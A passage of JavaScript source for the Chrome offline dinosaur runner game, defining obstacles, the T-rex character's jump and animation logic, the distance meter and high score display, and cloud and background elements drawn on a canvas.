  this.currentFrame = 0;
  this.timer = 0;

  this.init(speed);
}

/**
 * Coefficient for calculating the maximum gap.
 */
Obstacle.MAX_GAP_COEFFICIENT = 1.5;

/**
 * Maximum obstacle grouping count.
 */
Obstacle.MAX_OBSTACLE_LENGTH = 3;


Obstacle.prototype = {
  /**
   * Initialise the DOM for the obstacle.
   * @param {number} speed
   */
  init(speed) {
    this.cloneCollisionBoxes();

    // Only allow sizing if we're at the right speed.
    if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
      this.size = 1;
    }

    this.width = this.typeConfig.width * this.size;

    // Check if obstacle can be positioned at various heights.
    if (Array.isArray(this.typeConfig.yPos)) {
      const yPosConfig =
          IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
      this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
    } else {
      this.yPos = this.typeConfig.yPos;
    }

    this.draw();

    // Make collision box adjustments,
    // Central box is adjusted to the size as one box.
    //      ____        ______        ________
    //    _|   |-|    _|     |-|    _|       |-|
    //   | |<->| |   | |<--->| |   | |<----->| |
    //   | | 1 | |   | |  2  | |   | |   3   | |
    //   |_|___|_|   |_|_____|_|   |_|_______|_|
    //
    if (this.size > 1) {
      this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
          this.collisionBoxes[2].width;
      this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
    }

    // For obstacles that go at a different speed from the horizon.
    if (this.typeConfig.speedOffset) {
      this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
                                               -this.typeConfig.speedOffset;
    }

    this.gap = this.getGap(this.gapCoefficient, speed);

    // Increase gap for audio cues enabled.
    if (Runner.audioCues) {
      this.gap *= 2;
    }
  },

  /**
   * Draw and crop based on size.
   */
  draw() {
    let sourceWidth = this.typeConfig.width;
    let sourceHeight = this.typeConfig.height;

    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    // X position in sprite.
    let sourceX =
        (sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;

    // Animation frames.
    if (this.currentFrame > 0) {
      sourceX += sourceWidth * this.currentFrame;
    }

    this.canvasCtx.drawImage(
        this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
        sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
        this.typeConfig.height);
  },

  /**
   * Obstacle frame update.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    if (!this.remove) {
      if (this.typeConfig.speedOffset) {
        speed += this.speedOffset;
      }
      this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);

      // Update frame
      if (this.typeConfig.numFrames) {
        this.timer += deltaTime;
        if (this.timer >= this.typeConfig.frameRate) {
          this.currentFrame =
              this.currentFrame === this.typeConfig.numFrames - 1 ?
              0 :
              this.currentFrame + 1;
          this.timer = 0;
        }
      }
      this.draw();

      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Calculate a random gap size.
   * - Minimum gap gets wider as speed increses
   * @param {number} gapCoefficient
   * @param {number} speed
   * @return {number} The gap size.
   */
  getGap(gapCoefficient, speed) {
    const minGap = Math.round(
        this.width * speed + this.typeConfig.minGap * gapCoefficient);
    const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
    return getRandomNum(minGap, maxGap);
  },

  /**
   * Check if obstacle is visible.
   * @return {boolean} Whether the obstacle is in the game area.
   */
  isVisible() {
    return this.xPos + this.width > 0;
  },

  /**
   * Make a copy of the collision boxes, since these will change based on
   * obstacle type and size.
   */
  cloneCollisionBoxes() {
    const collisionBoxes = this.typeConfig.collisionBoxes;

    for (let i = collisionBoxes.length - 1; i >= 0; i--) {
      this.collisionBoxes[i] = new CollisionBox(
          collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
          collisionBoxes[i].height);
    }
  },
};


//******************************************************************************
/**
 * T-rex game character.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Positioning within image sprite.
 * @constructor
 */
function Trex(canvas, spritePos) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.xPos = 0;
  this.yPos = 0;
  this.xInitialPos = 0;
  // Position when on the ground.
  this.groundYPos = 0;
  this.currentFrame = 0;
  this.currentAnimFrames = [];
  this.blinkDelay = 0;
  this.blinkCount = 0;
  this.animStartTime = 0;
  this.timer = 0;
  this.msPerFrame = 1000 / FPS;
  this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
  // Current status.
  this.status = Trex.status.WAITING;
  this.jumping = false;
  this.ducking = false;
  this.jumpVelocity = 0;
  this.reachedMinHeight = false;
  this.speedDrop = false;
  this.jumpCount = 0;
  this.jumpspotX = 0;
  this.altGameModeEnabled = false;
  this.flashing = false;

  this.init();
}


/**
 * T-rex player config.
 */
Trex.config = {
  DROP_VELOCITY: -5,
  FLASH_OFF: 175,
  FLASH_ON: 100,
  HEIGHT: 47,
  HEIGHT_DUCK: 25,
  INTRO_DURATION: 1500,
  SPEED_DROP_COEFFICIENT: 3,
  SPRITE_WIDTH: 262,
  START_X_POS: 50,
  WIDTH: 44,
  WIDTH_DUCK: 59,
};

Trex.slowJumpConfig = {
  GRAVITY: 0.25,
  MAX_JUMP_HEIGHT: 50,
  MIN_JUMP_HEIGHT: 45,
  INITIAL_JUMP_VELOCITY: -20,
};

Trex.normalJumpConfig = {
  GRAVITY: 0.6,
  MAX_JUMP_HEIGHT: 30,
  MIN_JUMP_HEIGHT: 30,
  INITIAL_JUMP_VELOCITY: -10,
};

/**
 * Used in collision detection.
 * @enum {Array<CollisionBox>}
 */
Trex.collisionBoxes = {
  DUCKING: [new CollisionBox(1, 18, 55, 25)],
  RUNNING: [
    new CollisionBox(22, 0, 17, 16),
    new CollisionBox(1, 18, 30, 9),
    new CollisionBox(10, 35, 14, 8),
    new CollisionBox(1, 24, 29, 5),
    new CollisionBox(5, 30, 21, 4),
    new CollisionBox(9, 34, 15, 4),
  ],
};


/**
 * Animation states.
 * @enum {string}
 */
Trex.status = {
  CRASHED: 'CRASHED',
  DUCKING: 'DUCKING',
  JUMPING: 'JUMPING',
  RUNNING: 'RUNNING',
  WAITING: 'WAITING',
};

/**
 * Blinking coefficient.
 * @const
 */
Trex.BLINK_TIMING = 7000;


/**
 * Animation config for different states.
 * @enum {Object}
 */
Trex.animFrames = {
  WAITING: {
    frames: [44, 0],
    msPerFrame: 1000 / 3,
  },
  RUNNING: {
    frames: [88, 132],
    msPerFrame: 1000 / 12,
  },
  CRASHED: {
    frames: [220],
    msPerFrame: 1000 / 60,
  },
  JUMPING: {
    frames: [0],
    msPerFrame: 1000 / 60,
  },
  DUCKING: {
    frames: [264, 323],
    msPerFrame: 1000 / 8,
  },
};


Trex.prototype = {
  /**
   * T-rex player initaliser.
   * Sets the t-rex to blink at random intervals.
   */
  init() {
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.config.BOTTOM_PAD;
    this.yPos = this.groundYPos;
    this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;

    this.draw(0, 0);
    this.update(0, Trex.status.WAITING);
  },

  /**
   * Assign the appropriate jump parameters based on the game speed.
   */
  enableSlowConfig: function() {
    const jumpConfig =
        Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
    Trex.config = Object.assign(Trex.config, jumpConfig);

    this.adjustAltGameConfigForSlowSpeed();
  },

  /**
   * Enables the alternative game. Redefines the dino config.
   * @param {Object} spritePos New positioning within image sprite.
   */
  enableAltGameMode: function(spritePos) {
    this.altGameModeEnabled = true;
    this.spritePos = spritePos;
    const spriteDefinition = Runner.spriteDefinition['TREX'];

    // Update animation frames.
    Trex.animFrames.RUNNING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
    Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];

    if (typeof spriteDefinition.JUMPING.x == 'object') {
      Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
    } else {
      Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
    }

    Trex.animFrames.DUCKING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];

    // Update Trex config
    Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
    Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
    Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
    Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
    Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
    Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
    Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
    Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;

    this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
    this.config = Trex.config;

    // Adjust bottom horizon placement.
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.spriteDefinition['BOTTOM_PAD'];
    this.yPos = this.groundYPos;
    this.reset();
  },

  /**
   * Slow speeds adjustments for the alt game modes.
   * @param {number=} opt_gravityValue
   */
  adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
    if (Runner.slowDown) {
      if (opt_gravityValue) {
        Trex.config.GRAVITY = opt_gravityValue / 1.5;
      }
      Trex.config.MIN_JUMP_HEIGHT *= 1.5;
      Trex.config.MAX_JUMP_HEIGHT *= 1.5;
      Trex.config.INITIAL_JUMP_VELOCITY =
          Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
    }
  },

  /**
   * Setter whether dino is flashing.
   * @param {boolean} status
   */
  setFlashing: function(status) {
    this.flashing = status;
  },

  /**
   * Setter for the jump velocity.
   * The approriate drop velocity is also set.
   * @param {number} setting
   */
  setJumpVelocity(setting) {
    this.config.INITIAL_JUMP_VELOCITY = -setting;
    this.config.DROP_VELOCITY = -setting / 2;
  },

  /**
   * Set the animation status.
   * @param {!number} deltaTime
   * @param {Trex.status=} opt_status Optional status to switch to.
   */
  update(deltaTime, opt_status) {
    this.timer += deltaTime;

    // Update the status.
    if (opt_status) {
      this.status = opt_status;
      this.currentFrame = 0;
      this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
      this.currentAnimFrames = Trex.animFrames[opt_status].frames;

      if (opt_status === Trex.status.WAITING) {
        this.animStartTime = getTimeStamp();
        this.setBlinkDelay();
      }
    }
    // Game intro animation, T-rex moves in from the left.
    if (this.playingIntro && this.xPos < this.config.START_X_POS) {
      this.xPos += Math.round((this.config.START_X_POS /
          this.config.INTRO_DURATION) * deltaTime);
      this.xInitialPos = this.xPos;
    }

    if (this.status === Trex.status.WAITING) {
      this.blink(getTimeStamp());
    } else {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);
    }

    // Update the frame position.
    if (!this.flashing && this.timer >= this.msPerFrame) {
      this.currentFrame = this.currentFrame ==
          this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
      this.timer = 0;
    }

    if (!this.altGameModeEnabled) {
      // Speed drop becomes duck if the down key is still being pressed.
      if (this.speedDrop && this.yPos === this.groundYPos) {
        this.speedDrop = false;
        this.setDuck(true);
      }
    }
  },

  /**
   * Draw the t-rex to a particular position.
   * @param {number} x
   * @param {number} y
   */
  draw(x, y) {
    let sourceX = x;
    let sourceY = y;
    let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
        this.config.WIDTH_DUCK :
        this.config.WIDTH;
    let sourceHeight = this.config.HEIGHT;
    const outputHeight = sourceHeight;

    let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;

    // Width of sprite changes on jump.
    if (this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      sourceWidth = this.config.WIDTH_JUMP;
    }

    if (IS_HIDPI) {
      sourceX *= 2;
      sourceY *= 2;
      sourceWidth *= 2;
      sourceHeight *= 2;
      jumpOffset *= 2;
    }

    // Adjustments for sprite sheet position.
    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    // Flashing.
    if (this.flashing) {
      if (this.timer < this.config.FLASH_ON) {
        this.canvasCtx.globalAlpha = 0.5;
      } else if (this.timer > this.config.FLASH_OFF) {
        this.timer = 0;
      }
    }

    // Ducking.
    if (!this.altGameModeEnabled && this.ducking &&
        this.status !== Trex.status.CRASHED) {
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH_DUCK, outputHeight);
    } else if (
        this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      // Jumping with adjustments.
      this.canvasCtx.drawImage(
          Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
          this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
          outputHeight);
    } else {
      // Crashed whilst ducking. Trex is standing up so needs adjustment.
      if (this.ducking && this.status === Trex.status.CRASHED) {
        this.xPos++;
      }
      // Standing / running
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH, outputHeight);
    }
    this.canvasCtx.globalAlpha = 1;
  },

  /**
   * Sets a random time for the blink to happen.
   */
  setBlinkDelay() {
    this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
  },

  /**
   * Make t-rex blink at random intervals.
   * @param {number} time Current time in milliseconds.
   */
  blink(time) {
    const deltaTime = time - this.animStartTime;

    if (deltaTime >= this.blinkDelay) {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);

      if (this.currentFrame === 1) {
        // Set new random delay to blink.
        this.setBlinkDelay();
        this.animStartTime = time;
        this.blinkCount++;
      }
    }
  },

  /**
   * Initialise a jump.
   * @param {number} speed
   */
  startJump(speed) {
    if (!this.jumping) {
      this.update(0, Trex.status.JUMPING);
      // Tweak the jump velocity based on the speed.
      this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
      this.jumping = true;
      this.reachedMinHeight = false;
      this.speedDrop = false;

      if (this.config.INVERT_JUMP) {
        this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
      }
    }
  },

  /**
   * Jump is complete, falling down.
   */
  endJump() {
    if (this.reachedMinHeight &&
        this.jumpVelocity < this.config.DROP_VELOCITY) {
      this.jumpVelocity = this.config.DROP_VELOCITY;
    }
  },

  /**
   * Update frame for a jump.
   * @param {number} deltaTime
   */
  updateJump(deltaTime) {
    const msPerFrame = Trex.animFrames[this.status].msPerFrame;
    const framesElapsed = deltaTime / msPerFrame;

    // Speed drop makes Trex fall faster.
    if (this.speedDrop) {
      this.yPos += Math.round(this.jumpVelocity *
          this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
    } else if (this.config.INVERT_JUMP) {
      this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
    } else {
      this.yPos += Math.round(this.jumpVelocity * framesElapsed);
    }

    this.jumpVelocity += this.config.GRAVITY * framesElapsed;

    // Minimum height has been reached.
    if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
        !this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
        this.speedDrop) {
      this.reachedMinHeight = true;
    }

    // Reached max height.
    if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
        !this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
        this.speedDrop) {
      this.endJump();
    }

    // Back down at ground level. Jump completed.
    if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
        (!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
      this.reset();
      this.jumpCount++;

      if (Runner.audioCues) {
        Runner.generatedSoundFx.loopFootSteps();
      }
    }
  },

  /**
   * Set the speed drop. Immediately cancels the current jump.
   */
  setSpeedDrop() {
    this.speedDrop = true;
    this.jumpVelocity = 1;
  },

  /**
   * @param {boolean} isDucking
   */
  setDuck(isDucking) {
    if (isDucking && this.status !== Trex.status.DUCKING) {
      this.update(0, Trex.status.DUCKING);
      this.ducking = true;
    } else if (this.status === Trex.status.DUCKING) {
      this.update(0, Trex.status.RUNNING);
      this.ducking = false;
    }
  },

  /**
   * Reset the t-rex to running at start of game.
   */
  reset() {
    this.xPos = this.xInitialPos;
    this.yPos = this.groundYPos;
    this.jumpVelocity = 0;
    this.jumping = false;
    this.ducking = false;
    this.update(0, Trex.status.RUNNING);
    this.midair = false;
    this.speedDrop = false;
    this.jumpCount = 0;
  },
};


//******************************************************************************

/**
 * Handles displaying the distance meter.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} spritePos Image position in sprite.
 * @param {number} canvasWidth
 * @constructor
 */
function DistanceMeter(canvas, spritePos, canvasWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.image = Runner.imageSprite;
  this.spritePos = spritePos;
  this.x = 0;
  this.y = 5;

  this.currentDistance = 0;
  this.maxScore = 0;
  this.highScore = '0';
  this.container = null;

  this.digits = [];
  this.achievement = false;
  this.defaultString = '';
  this.flashTimer = 0;
  this.flashIterations = 0;
  this.invertTrigger = false;
  this.flashingRafId = null;
  this.highScoreBounds = {};
  this.highScoreFlashing = false;

  this.config = DistanceMeter.config;
  this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
  this.canvasWidth = canvasWidth;
  this.init(canvasWidth);
}


/**
 * @enum {number}
 */
DistanceMeter.dimensions = {
  WIDTH: 10,
  HEIGHT: 13,
  DEST_WIDTH: 11,
};


/**
 * Y positioning of the digits in the sprite sheet.
 * X position is always 0.
 * @type {Array<number>}
 */
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];


/**
 * Distance meter config.
 * @enum {number}
 */
DistanceMeter.config = {
  // Number of digits.
  MAX_DISTANCE_UNITS: 5,

  // Distance that causes achievement animation.
  ACHIEVEMENT_DISTANCE: 100,

  // Used for conversion from pixel distance to a scaled unit.
  COEFFICIENT: 0.025,

  // Flash duration in milliseconds.
  FLASH_DURATION: 1000 / 4,

  // Flash iterations for achievement animation.
  FLASH_ITERATIONS: 3,

  // Padding around the high score hit area.
  HIGH_SCORE_HIT_AREA_PADDING: 4,
};


DistanceMeter.prototype = {
  /**
   * Initialise the distance meter to '00000'.
   * @param {number} width Canvas width in px.
   */
  init(width) {
    let maxDistanceStr = '';

    this.calcXPos(width);
    this.maxScore = this.maxScoreUnits;
    for (let i = 0; i < this.maxScoreUnits; i++) {
      this.draw(i, 0);
      this.defaultString += '0';
      maxDistanceStr += '9';
    }

    this.maxScore = parseInt(maxDistanceStr, 10);
  },

  /**
   * Calculate the xPos in the canvas.
   * @param {number} canvasWidth
   */
  calcXPos(canvasWidth) {
    this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
        (this.maxScoreUnits + 1));
  },

  /**
   * Draw a digit to canvas.
   * @param {number} digitPos Position of the digit.
   * @param {number} value Digit value 0-9.
   * @param {boolean=} opt_highScore Whether drawing the high score.
   */
  draw(digitPos, value, opt_highScore) {
    let sourceWidth = DistanceMeter.dimensions.WIDTH;
    let sourceHeight = DistanceMeter.dimensions.HEIGHT;
    let sourceX = DistanceMeter.dimensions.WIDTH * value;
    let sourceY = 0;

    const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
    const targetY = this.y;
    const targetWidth = DistanceMeter.dimensions.WIDTH;
    const targetHeight = DistanceMeter.dimensions.HEIGHT;

    // For high DPI we 2x source values.
    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    this.canvasCtx.save();

    if (IS_RTL) {
      if (opt_highScore) {
        this.canvasCtx.translate(
            this.canvasWidth -
                (DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
            this.y);
      } else {
        this.canvasCtx.translate(
            this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
      }
      this.canvasCtx.scale(-1, 1);
    } else {
      const highScoreX =
          this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
      if (opt_highScore) {
        this.canvasCtx.translate(highScoreX, this.y);
      } else {
        this.canvasCtx.translate(this.x, this.y);
      }
    }

    this.canvasCtx.drawImage(
        this.image,
        sourceX,
        sourceY,
        sourceWidth,
        sourceHeight,
        targetX,
        targetY,
        targetWidth,
        targetHeight,
    );

    this.canvasCtx.restore();
  },

  /**
   * Covert pixel distance to a 'real' distance.
   * @param {number} distance Pixel distance ran.
   * @return {number} The 'real' distance ran.
   */
  getActualDistance(distance) {
    return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
  },

  /**
   * Update the distance meter.
   * @param {number} distance
   * @param {number} deltaTime
   * @return {boolean} Whether the acheivement sound fx should be played.
   */
  update(deltaTime, distance) {
    let paint = true;
    let playSound = false;

    if (!this.achievement) {
      distance = this.getActualDistance(distance);
      // Score has gone beyond the initial digit count.
      if (distance > this.maxScore && this.maxScoreUnits ==
        this.config.MAX_DISTANCE_UNITS) {
        this.maxScoreUnits++;
        this.maxScore = parseInt(this.maxScore + '9', 10);
      } else {
        this.distance = 0;
      }

      if (distance > 0) {
        // Achievement unlocked.
        if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
          // Flash score and play sound.
          this.achievement = true;
          this.flashTimer = 0;
          playSound = true;
        }

        // Create a string representation of the distance with leading 0.
        const distanceStr = (this.defaultString +
            distance).substr(-this.maxScoreUnits);
        this.digits = distanceStr.split('');
      } else {
        this.digits = this.defaultString.split('');
      }
    } else {
      // Control flashing of the score on reaching acheivement.
      if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
        this.flashTimer += deltaTime;

        if (this.flashTimer < this.config.FLASH_DURATION) {
          paint = false;
        } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
          this.flashTimer = 0;
          this.flashIterations++;
        }
      } else {
        this.achievement = false;
        this.flashIterations = 0;
        this.flashTimer = 0;
      }
    }

    // Draw the digits if not flashing.
    if (paint) {
      for (let i = this.digits.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.digits[i], 10));
      }
    }

    this.drawHighScore();
    return playSound;
  },

  /**
   * Draw the high score.
   */
  drawHighScore() {
    if (parseInt(this.highScore, 10) > 0) {
      this.canvasCtx.save();
      this.canvasCtx.globalAlpha = .8;
      for (let i = this.highScore.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.highScore[i], 10), true);
      }
      this.canvasCtx.restore();
    }
  },

  /**
   * Set the highscore as a array string.
   * Position of char in the sprite: H - 10, I - 11.
   * @param {number} distance Distance ran in pixels.
   */
  setHighScore(distance) {
    distance = this.getActualDistance(distance);
    const highScoreStr = (this.defaultString +
        distance).substr(-this.maxScoreUnits);

    this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
  },


  /**
   * Whether a clicked is in the high score area.
   * @param {Event} e Event object.
   * @return {boolean} Whether the click was in the high score bounds.
   */
  hasClickedOnHighScore(e) {
    let x = 0;
    let y = 0;

    if (e.touches) {
      // Bounds for touch differ from pointer.
      const canvasBounds = this.canvas.getBoundingClientRect();
      x = e.touches[0].clientX - canvasBounds.left;
      y = e.touches[0].clientY - canvasBounds.top;
    } else {
      x = e.offsetX;
      y = e.offsetY;
    }

    this.highScoreBounds = this.getHighScoreBounds();
    return x >= this.highScoreBounds.x && x <=
        this.highScoreBounds.x + this.highScoreBounds.width &&
        y >= this.highScoreBounds.y && y <=
        this.highScoreBounds.y + this.highScoreBounds.height;
  },

  /**
   * Get the bounding box for the high score.
   * @return {Object} Object with x, y, width and height properties.
   */
  getHighScoreBounds() {
    return {
      x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      y: this.y,
      width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      height: DistanceMeter.dimensions.HEIGHT +
          (DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
    };
  },

  /**
   * Animate flashing the high score to indicate ready for resetting.
   * The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
   */
  flashHighScore() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);
    let paint = true;
    this.frameTimeStamp = now;

    // Reached the max number of flashes.
    if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
      this.cancelHighScoreFlashing();
      return;
    }

    this.flashTimer += deltaTime;

    if (this.flashTimer < this.config.FLASH_DURATION) {
      paint = false;
    } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
      this.flashTimer = 0;
      this.flashIterations++;
    }

    if (paint) {
      this.drawHighScore();
    } else {
      this.clearHighScoreBounds();
    }
    // Frame update.
    this.flashingRafId =
        requestAnimationFrame(this.flashHighScore.bind(this));
  },

  /**
   * Draw empty rectangle over high score.
   */
  clearHighScoreBounds() {
    this.canvasCtx.save();
    this.canvasCtx.fillStyle = '#fff';
    this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
        this.highScoreBounds.width, this.highScoreBounds.height);
    this.canvasCtx.fill();
    this.canvasCtx.restore();
  },

  /**
   * Starts the flashing of the high score.
   */
  startHighScoreFlashing() {
    this.highScoreFlashing = true;
    this.flashHighScore();
  },

  /**
   * Whether high score is flashing.
   * @return {boolean}
   */
  isHighScoreFlashing() {
    return this.highScoreFlashing;
  },

  /**
   * Stop flashing the high score.
   */
  cancelHighScoreFlashing() {
    if (this.flashingRafId) {
      cancelAnimationFrame(this.flashingRafId);
    }
    this.flashIterations = 0;
    this.flashTimer = 0;
    this.highScoreFlashing = false;
    this.clearHighScoreBounds();
    this.drawHighScore();
  },

  /**
   * Clear the high score.
   */
  resetHighScore() {
    this.setHighScore(0);
    this.cancelHighScoreFlashing();
  },

  /**
   * Reset the distance meter back to '00000'.
   */
  reset() {
    this.update(0, 0);
    this.achievement = false;
  },
};


//******************************************************************************

/**
 * Cloud background item.
 * Similar to an obstacle object but without collision boxes.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @constructor
 */
function Cloud(canvas, spritePos, containerWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.gap =
      getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);

  this.init();
}


/**
 * Cloud object config.
 * @enum {number}
 */
Cloud.config = {
  HEIGHT: 14,
  MAX_CLOUD_GAP: 400,
  MAX_SKY_LEVEL: 30,
  MIN_CLOUD_GAP: 100,
  MIN_SKY_LEVEL: 71,
  WIDTH: 46,
};


Cloud.prototype = {
  /**
   * Initialise the cloud. Sets the Cloud height.
   */
  init() {
    this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
        Cloud.config.MIN_SKY_LEVEL);
    this.draw();
  },

  /**
   * Draw the cloud.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = Cloud.config.WIDTH;
    let sourceHeight = Cloud.config.HEIGHT;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;
    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
        this.spritePos.y,
        sourceWidth, sourceHeight,
        this.xPos, this.yPos,
        outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the cloud position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      this.xPos -= Math.ceil(speed);
      this.draw();

      // Mark as removeable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the cloud is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + Cloud.config.WIDTH > 0;
  },
};


/**
 * Background item.
 * Similar to cloud, without random y position.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @param {string} type Element type.
 * @constructor
 */
function BackgroundEl(canvas, spritePos, containerWidth, type) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.type = type;
  this.gap =
      getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
  this.animTimer = 0;
  this.switchFrames = false;

  this.spriteConfig = {};
  this.init();
}

/**
 * Background element object config.
 * Real values assigned when game type changes.
 * @enum {number}
 */
BackgroundEl.config = {
  MAX_BG_ELS: 0,
  MAX_GAP: 0,
  MIN_GAP: 0,
  POS: 0,
  SPEED: 0,
  Y_POS: 0,
  MS_PER_FRAME: 0,  // only needed when BACKGROUND_EL.FIXED is true
};


BackgroundEl.prototype = {
  /**
   * Initialise the element setting the y position.
   */
  init() {
    this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
    if (this.spriteConfig.FIXED) {
